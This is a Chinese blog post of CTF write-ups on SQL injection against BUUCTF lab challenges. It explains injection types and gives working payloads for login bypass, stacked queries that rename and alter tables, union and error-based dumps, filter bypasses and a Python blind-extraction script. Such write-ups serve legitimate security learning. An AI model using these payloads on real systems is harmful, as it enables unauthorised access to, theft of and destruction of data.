CTF Web SQL注入专项整理(持续更新中)

白猫a~ 2024-06-23 16:03:03 阅读 91

深入了解SQL注入

什么是SQL注入?

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(百度百科)

SQL注入是Web安全常见的一种攻击手段,其主要存在于数据库中,用来窃取重要信息,在输入框、搜索框、登录窗口、交互式等等都存在注入可能;是否是输入函数无法判断其输入的合法性并将其作为PHP等语言代码来执行,或整体逻辑出现缺陷,或关键字关键命令关键字符没过滤全,包括编码加密命令是否进行了过滤,这些种种环节的防护不严都将导致SQL注入的成功。(本人拙见)

SQL注入按照注入点类型来分可以分为常见的三大类:

数字型注入:当输入的参数为整型的时候,如果存在注入漏洞,则可以认为是数字型注入。

select * from BaiMao where id='1'

字符型注入:和数字型恰恰相反,当输入的参数为字符串的时候,如果存在注入漏洞,则可以认为是字符型注入,不同的一点是,数字型注入参数需要闭合,而字符型注入参数不需要闭合。

select * from BaiMao where id=' 1' '

搜索型注入:网站具有搜索功能,但开发人员忽略了对变量、关键字、命令的过滤,从而导致了注入可能,也可以称为文本框注入。

常见注入手法分类:

基于从服务器接收到的响应

基于报错的SQL注入

联合查询注入

堆查询注入

SQL盲注

基于布尔SQL盲注

基于时间SQL盲注

基于报错SQL盲注

基于程度和顺序的注入

一阶注入

二阶注入

一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果;二阶注入类似存

储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间

接的对 WEB 产生危害,这样的就被称为是二阶注入.

基于注入点的位置

通关用户输入的单表域注射

通过cookie注射

通关服务器变量注射(基于头部信息的注入)

此处参考博客:https://blog.csdn.net/m0_46571665/article/details/124946824?spm=1001.2014.3001.5506

万能密码实验原理

用户进行登陆验证的时候,就会对其用户名和密码参数进行验证,而验证的过程就是网站需要查询数据库,而查询数据库的本质就是后台要执行SQL语句。

咱们可以测试一下,原来后台执行的数据库查询操作(SQL语句):

select username,password from BaiMao where username='用户名' and password='密码'

由于网站后台在进行数据库查询的时候没有对单引号进行过滤,或者说是过滤不严,当输入用户名【admin】和万能密码【1’ or ‘1’='1】的时候,执行的SQL语句为:

select username,password from BaiMao where username='admin' and password=' 1' or '1'='1 '

再者SQL语句中逻辑运算符具有优先级,【=】>【and】>【or】,且适用传递性,因此这个SQL语句在后台进行解析时,分成了两句,(【注意】1’时字符型注入,所以可以只看这 or ‘1’=‘1)

select username,password from BaiMao where username='admin' and password=' 1 '和【’ 1 '】,两句bool(布尔类型)值进行逻辑or运算,恒为true,SQL查询语句的结果就为true,这就意味着认证成功,成功登录到系统当中。

【例题:】buuctf [极客大挑战 2019]EasySQL 1

网页环境

image.png

可以看到是一个登录窗口,题目已经说了是SQL注入

首先试一下弱口令,admin,123

image.png

提示用户名密码错了

既然是第一道题,那应该是很简单了

判断是数字型还是字符型

数字型

and 1=1 回显正常

and 1=2 返回异常,存在数字型注入可能

字符型

1 返回正常

1' 返回异常,存在字符型注入可能

经过测试,发现username和password两个参数都可以分别注入和同时注入

构造payload

url?usename=1'&password=1'

image.png

回显报错,存在SQL字符型注入

小试一下万能密码注入

构造payload

url?usename=1' or '1'='1&password=1' or '1'='1

回显flag

image.png

原文链接:https://blog.csdn.net/m0_73734159/article/details/133827153?spm=1001.2014.3001.5501

字符型注入和堆叠查询手法原理

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

参考:https://blog.csdn.net/qq_26406447/article/details/90643951

【例题】buuctf[强网杯 2019]随便注 1

第一种解法 堆叠注入

网页环境

image.png

判断是否是字符型注入

1'

image.png

判断是否存在关键字过滤

select

image.png

联合查询被过滤,只能用堆叠注入了

查看有几个字段

1' order by 2#

image.png

正常回显

1' order by 3#

image.png

回显报错,可以看出只有两个字段

查看所有数据

1'; show databases;

image.png

查看所有数据

1'; show tables;

image.png

爆words数据表的字段

1';show columns from words;#

image.png

爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)

1';show columns from 1919810931114514;#

image.png

可以看到这两个表words表有两个字段,而另一个只有一个字段

后台SQL查询语句应该是:

select * from words where id=

所以说只能先查询id字段,然而另一个表只有一个flag字段是肯定爆不了flag的,并且类型为varchar字符串类型,而恰巧words数据表里面的data也是varchar类型,因此从这里就可以得到做题思路,通过rename函数进行改表,把1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表。

构造payload:

1';rename table words to BaiMao;rename table 1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

rename修改表名

alter修改已知的列

add增加

int整数类型

unsigned无符号类型

not null- 指示某列不能存储 NULL 值。

primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。

auto_increment-自动赋值,默认从1开始。

成功回显flag:

image.png

注意没有回显flag,就类似于你更新了个东西但是没刷新,重新在文本框里面输入1提交即可回显flag。

第二种解法 编码逃逸 绕过滤

由于select被过滤,考虑使用编码进行绕过

使用select查询就很简单了

构造payload

select *from where 1919810931114514`` (注意这里使用反引号把这个数字括起来,md编辑器打不上去)

*号查询数据表里面的全部内容,这就是爆出flag的原理

进行16进制编码加密

73656c656374202a2066726f6d20603139313938313039333131313435313460

最终payload:

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

prepare…from…是预处理语句,会进行编码转换。execute用来执行由SQLPrepare创建的SQL语句。SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。0x就是把后面的编码格式转换成十六进制编码格式那么总体理解就是,使用SeT方法给变量a赋值,给a变量赋的值就是select查询1919810931114514表的所有内容语句编码后的值,execsql方法执行来自a变量的值,prepare…from方法将执行后的编码变换成字符串格式,execute方法调用并执行execsql方法。

参考:https://blog.csdn.net/qq_44657899/article/details/10323914

回显flag:

image.png

第三种解法 handler代替select

select命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。

构造payload:

1'; handler 1919810931114514open asa; handler a read next;#

handler代替select,以一行一行显示内容

open打开表

as更改表的别名为a

read next读取数据文件内的数据次数

上传payload,回显flag:

image.png

原文链接:https://blog.csdn.net/m0_73734159/article/details/134049744?spm=1001.2014.3001.5501

数字型注入和堆叠查询手法原理

【例题】[SUCTF 2019]EasySQL 1

题目环境:

image.png

把你的旗子给我,我会告诉你旗子是不是对的。

判断注入类型

1'

回显结果

image.png

不是字符型SQL注入

1

回显结果

image.png

数字型SQL注入

查所有数据库,采用堆叠注入

1;show databases;

image.png

查看所有数据

1;show tables;

image.png

尝试爆Flag数据表的字段

1;show columns from Flag;

image.png

回显错误

到这里,大佬们直接猜出了后端语句

select $_GET['query'] || flag from Flag

我直接好家伙,大佬果然是大佬

||就是SQL里面的逻辑或运算符

第一种解法 添加新列绕过逻辑或运算符:

***,1**

那么传到后端语句就是

select *,1 || flag from Flag

这里我问了下文心一言,看完我也理解了

这段SQL代码的含义是:从Flag表中选择所有的列,以及由列flag的值与数字1进行连接生成的新列。

具体来说:

select *:选择所有的列。

1 || flag:这是SQL中的字符串连接操作。它将数字1与flag列的值进行连接。对于每一行,都会生成一个新的字符串,这个字符串是数字1后跟着flag列的值。如果flag列的值本身是一个字符串,那么这两个字符串将被连接起来。

from Flag:从Flag表中选择数据

因此,这段代码的输出结果将包含Flag表的所有列,以及一个名为“1”的列,该列的值是flag列的值与数字1的连接。

大致意思,就是查看数据表Flag的所有列内容,然后添加了一个由列flag的值与数字1进行连接生成的新列,这个新的列名就叫1,那么猜测或者说就是flag被过滤,我们还能查到flag列的值,因为flag的值复制到了新的列1。

*,0

image.png

可以明显看到新的列名0和flag的值连接起来了

*,1

image.png

对吧,新列名为1

*,2

image.png

还是为1,所有还可以看出Flag数据表的列只能是两个

第二种解法 改逻辑或运算符为字符串连接符:

既然题目内置的是逻辑或运算符,那咱们直接把它改成字符串连接符不就好了嘛(滑稽)

使用set方法定义sql_mode参数设置,PIPES_AS_CONCAT字符串连接符select 1查询第一列

1;set sql_mode=PIPES_AS_CONCAT;select 1

回显结果:

image.png

可以明显看出解法1和解法2的回显结果有明显不同

原文链接:https://blog.csdn.net/m0_73734159/article/details/134142483?spm=1001.2014.3001.5501

字符型注入和联合查询手法原理(常见注入手法)

【例题】[极客大挑战 2019]LoveSQL 1

题目环境:

image.png

判断注入类型

是否为数字型注入

admin

1

回显结果

image.png

是否为字符型注入

admin

1'

回显结果

image.png

判断注入手法类型

使用堆叠注入

采用密码参数进行注入

数据

1'; show database();#

回显结果

image.png

这里猜测注入语句某字段被过滤,或者是’;'被过滤导致不能堆叠注入

爆字段数

1';order by 4#

回显结果

image.png

报错

抛弃堆叠注入

步入正题

1' order by 4#

回显结果

image.png

成功,但是不存在第4列

同时验证了猜想不能使用堆叠注入

继续判断列数

1' order by 3#

image.png

可知列数只有3列

数据

使用联合查询

1' union select 1,2,database()#

image.png

数据

1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

回显结果

image.png

爆出两个表

开始爆数据表的字段

按照先后顺序把,先爆第一个

爆geekuser数据表的字段

1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#

回显结果

image.png

字段:id、username、password

爆geekuser数据表的所有内容

1' union select 1,database(),group_concat(id,username,password) from geekuser#

回显结果

image.png

无flag

转手数据表l0ve1ysq1

步骤和数据表geekuser一样,这里直接爆数据表l0ve1ysq1的flag值

1' union select 1,database(),group_concat(password) from l0ve1ysq1#

回显结果

image.png

image.png

得出flag:

flag{3c4b1ff9-6685-4dcb-853e-06093c1e4040}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134185235?spm=1001.2014.3001.5501

双写绕过原理

【例题】[极客大挑战 2019]BabySQL 1

题目环境:

image.png

作者已经描述进行了严格的过滤

做好心理准备进行迎接

判断注入类型

admin

1’

字符型注入

image.png

万能密码注入

admin

1’ or ‘1’='1

报错

image.png

已经是字符型注入了,所以的话只有or这里存在了过滤

联想到buuctf里面还没有碰到双写绕过的题目

所以这里斗胆试一下使用双写绕过

1' oorr '1'='1

成功

image.png

使用堆叠注入爆数据

1';show database();

报错

image.png

抛弃堆叠注入

尝试联合注入

联合注入末尾需要使用#号键进行注释#号后面的命令,避免报错

这里值得提一下schema和schemata和常见命令的理解

SCHEMA在MySQL中是数据库,SCHEMATA表用来提供有关数据库的信息。

union select就是联合注入,联合查询的意思

from来自

information_schema是MySQL自带的数据库

group_concat将值连接起来

where来自那个数据库或数据表等等

爆列数(关键命令采用双写进行绕过)

1' oorrder bbyy 4#

image.png

1' oorrder bbyy 3#

image.png

可知列数只有3列

查位(关键命令采用双写进行绕过)

1' ununionion seselectlect 1,2,3#

image.png

数据库(关键命令采用双写进行绕过)

1' ununionion seselectlect 1,database(),3#

image.png

采用第三列进行注入

爆所有数据库(关键命令采用双写进行绕过)

1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#

image.png

根据常识ctf数据库里面存在flag的可能更大,故选择ctf数据库

爆ctf数据库里面的数据表

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#

因为ctf在schema里面所有这里就是table_schema,schema里面的数据库ctf里面的数据表

得到Flag数据表

image.png

爆Flag数据表里面的字段

1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#

得到flag字段

image.png

爆flag字段内容

1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#

ctf.Flag意思就是ctf数据库里面的Flag数据表

image.png

得到flag:

flag{fbd18420-cab7-4d6e-8fb9-f8ea6febda61}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134277587?spm=1001.2014.3001.5502

报错注入原理

【例题】非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

题目环境:

image.png

没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了

做了好多这个作者出的题了,看来又要上强度了

判断注入类型

username:admin

password:1

这里把参数password作为注入点

image.png

1'

image.png

单引号的字符型注入

万能密码注入

1' or '1'='1

image.png

万能密码注入被链接

猜测某些字符或者关键字被过滤

SQL注入字典查过滤字符

image.png

Intruder字典爆破

image.png

光标选中参数password的值1-Add选择爆破目标

image.png

选用字典

image.png

Start attack开始爆破

image.png

OK

image.png

爆破结果:

image.png

741为过滤内容

可以看到很多字符=、–+、/**/和一些注入命令union、by、‘1’='1等被过滤

继续测试

admin

1’ or

image.png

image.png

可以看到被拦截了

通过刚才的字典爆破,可以知道1’和or是没有被过滤的

那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙

刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制

空格限制

admin

1’(or)

image.png

like没有被过滤,使用like可以绕过=号,like <=> =

重新构造万能密码

1'or((1)like(1))#

image.png

image.png

可以看到绕过了空格限制

同时也登陆成功了

然后想到了之前做过很类似的一道题

SQL报错注入也用到了空格限制

(已经试了堆叠注入和联合注入都不行)

这里就索性试一下SQL报错注入

知识一、

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数

函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数

函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数

注入原理:

(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)

(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它

函数floor() mysql中用来取整的函数

函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

首先使用updatexml()函数进行SQL报错注入

爆库

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

image.png

得到库名geek

查表

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

image.png

得到数据表H4rDsq1

爆字段

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

image.png

得到三个字段:id、username、password

查字段内容

1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

image.png

得到前一半flag值flag{389c9161-c2eb-403a-80

使用right()突破字符限制

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

image.png

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:

flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制

这两种函数大同小异,不再赘述

当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以

大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#

image.png

image.png

1'or(extractvalue(1,concat(0x7e,(select(database())))))#

image.png

image.png

好了大家已经明显看到了^和()绕过不同限制的区别

那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

image.png

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

image.png

1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#

image.png

使用right()突破字符限制

1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#

image.png

拼接得到最终flag:

flag{389c9161-c2eb-403a-8062-80f219ca1c30}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134450773

md5与SQL之间的碰撞

【例题】BUUCTF [GXYCTF2019]BabySQli 1 详解!

题目环境

image.png

burp抓包

随便输入值

image.png

repeater放包

image.png

在注释那里发现某种编码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

看着像是base编码格式

通过测试发现是套加密(二次加密)

首先使用base32对此编码进行解码

base32解码

image.png

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

两个等号base64编码无疑了

base64解码

image.png

得到一段SQL查询语句

select * from user where username = '$name'

通过对这段SQL语句的初步判断

可以得出此题的注入点是参数name

判断注入类型

1

123

image.png

1’

123

image.png

发生报错

可以得出此题的注入类型为字符型注入

尝试万能密码

1’ or ‘1’='1

123

image.png

猜测’or’关键字或’='字符被过滤

弱口令猜测

首先猜测用户名既有可能是admin

密码暂且还不知道

判断字段数

1’ union select 1,2#

123

image.png

1’ union select 1,2,3#

123

image.png

可知字段数是3

判断用户所在列

1’ union select ‘admin’,2,3#

123

image.png

1’ union select 1,‘admin’,3#

123

image.png

通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。

查看题目源码

image.png

在search.php源代码哪里发现关键代码

image.png

if($arr[1] == "admin"){ if(md5($password) == $arr[2]){ echo $flag;}else{ die("wrong pass!");}}

发现参数password被md5加密

看着和之前做过的题很类似

大致就是传进去的值要进行md5值加密

换种方式猜测

username数据表里面的3个字段分别是flag、name、password。

猜测只有password字段位NULL

咱们给参数password传入的值是123

那么传进去后,后台就会把123进行md5值加密并存放到password字段当中

当我们使用查询语句的时候

我们pw参数的值会被md5值进行加密

然后再去与之前存入password中的md5值进行比较

如果相同就会输出flag

爆flag:

这里pw参数的值为123456

可以随便传

但是要对传入的那个值进行md5值加密

网上可以随便找一个在线md5加密平台

1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#

123456

image.png

得出flag:

flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}

handler命令用法

【例题】BUUCTF [GYCTF2020]Blacklist 1详解

题目环境

image.png

判断注入类型

1

image.png

1’

image.png

可知本题是字符型注入

查库

此题使用堆叠查询

1’;show databases;

image.png

查表

1’;show tables;

image.png

存在FlagHere数据

极有可能当中存在flag

查字段数

– - 是闭合符

1’ order by 3 – -

image.png

1’ order by 2 – -

image.png

可知只有两个字段数

查FlagHere数据表的字段名

1’;show columns from FlagHere;

image.png

存在flag字段!

查words数据表的字段名

1’;show columns from words;

image.png

从这里看的话这题与buuctf[强网杯 2019]随便注 1这道题是有几分相似的

后者是通过改表名来获取flag值,但是前者既然放到了后边,应该没有那么容易

猜测修改表名的命令极有可能被过滤了

后者题解非常详细可以看看下面这个链接(同时也包含handler解法!)

https://blog.csdn.net/m0_73734159/article/details/134049744

判断命令是否存在过滤

rename

image.png

return preg_match(“/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i”,$inject);

果不其然改表名的两个关键命令被过滤了

rename和alter

包括查询命令也被过滤了

select

通过handler命令获取flag

select这个查询命令大家都很熟悉

但是我们却忽略了一个也很重要的角色

那就是handler查询命令

虽然handler这个命令不常见

但是它也非常强大

handler命令查询规则

handler table_name open;handler table_name read first;handler table_name close; handler table_name open;handler table_name read next;handler table_name close;

如何理解?

首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。首先打开数据库,开始循环读取,读取成功后进行关闭操作。

构造payload

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;

上传payload

image.png

image.png

得到flag:

flag{29e0c4b0-b659-4115-a74c-f3c25d3aac9b}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134731461?spm=1001.2014.3001.5501

布尔盲注

【例题】BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 1(SQL注入之布尔盲注)

题目环境

image.png

判断注入类型

1

image.png

2

image.png

3

image.png

1’

image.png

输入1’报错提示bool(false)

可知是字符型的布尔注入(盲注)

尝试万能密码

1’ or ‘1’=1

image.png

已检测SQL注入

猜测某些关键字或者字符被过滤

FUZZ字典爆破

image.png

image.png

可以看到部分关键字被过滤,包括空格

All You Want Is In Table ‘flag’ and the column is ‘flag’

Now, just give the id of passage

通过提示可以知道

flag字段在flag数据表里面

布尔注入

布尔注入是一种常见的SQL注入攻击技术,攻击者通过构造恶意输入,使应用程序的SQL查询返回不同的结果,从而达到绕过应用程序的安全机制,获取未授权的信息或执行恶意操作的目的。

布尔盲注

布尔盲注,也称为基于布尔的盲注,是一种SQL注入攻击方式。这种攻击方式主要利用Web页面的返回结果,根据页面返回的True或者是False来得到数据库中的相关信息。

在进行布尔盲注攻击时,攻击者首先需要对目标应用程序进行SQL注入,然后根据页面返回的结果来判断注入是否成功。由于页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。因此,这种攻击方式比较消耗时间,速度较慢。

在布尔盲注中,攻击者可能会使用一些常用的函数,如length()函数和ascii()函数。length()函数用于返回字符串的长度,ascii()函数用于返回字符串的字符ASCII码值。这些函数可以帮助攻击者更好地分析和理解返回结果,从而获取更多的信息。

总之,布尔盲注是一种比较复杂的SQL注入攻击方式,需要攻击者具备一定的技术水平和耐心。为了防止布尔盲注攻击,应该加强应用程序的安全性,如进行输入验证、使用参数化查询等措施。

通过脚本爆破flag

import requests#调用请求模块import time#调用时间模块import re#调用规则表达式模块url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'#题目链接flag = ''#创建一个变量用来存放flag值for i in range(1,50): #for循环遍历,i表示flag值大致长度是50以内 max = 127 #赋值127 min = 0 #赋值0 for c in range(0,127): #for循环遍历 s = (int)((max+min)/2) #首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。 payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')' #^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。 #从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个)) #将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。 r = requests.post(url,data = { 'id':payload}) #requests模块的运用,将payload赋值给题目中这个名为id的参数 time.sleep(0.005) #每循环一次休眠0.005秒 if 'Hello' in str(r.content): #如果Hello这个字符串在生成的结果中,那么就继续向下进行 max=s #将s的值赋值给max else: #反之 min=s #将s的值赋值给min if((max-min)<=1): #如果max-min的值 flag+=chr(max) #将max的ASCII值转化为字符串 print(flag) #输出flag break #跳出循环

脚本里面已添加注释

希望能帮助大家更好的理解

image.png

得到flag:

flag{7a?ec496-a77b-4foa-9748-c6382beoa0c}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134897576?spm=1001.2014.3001.5501



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。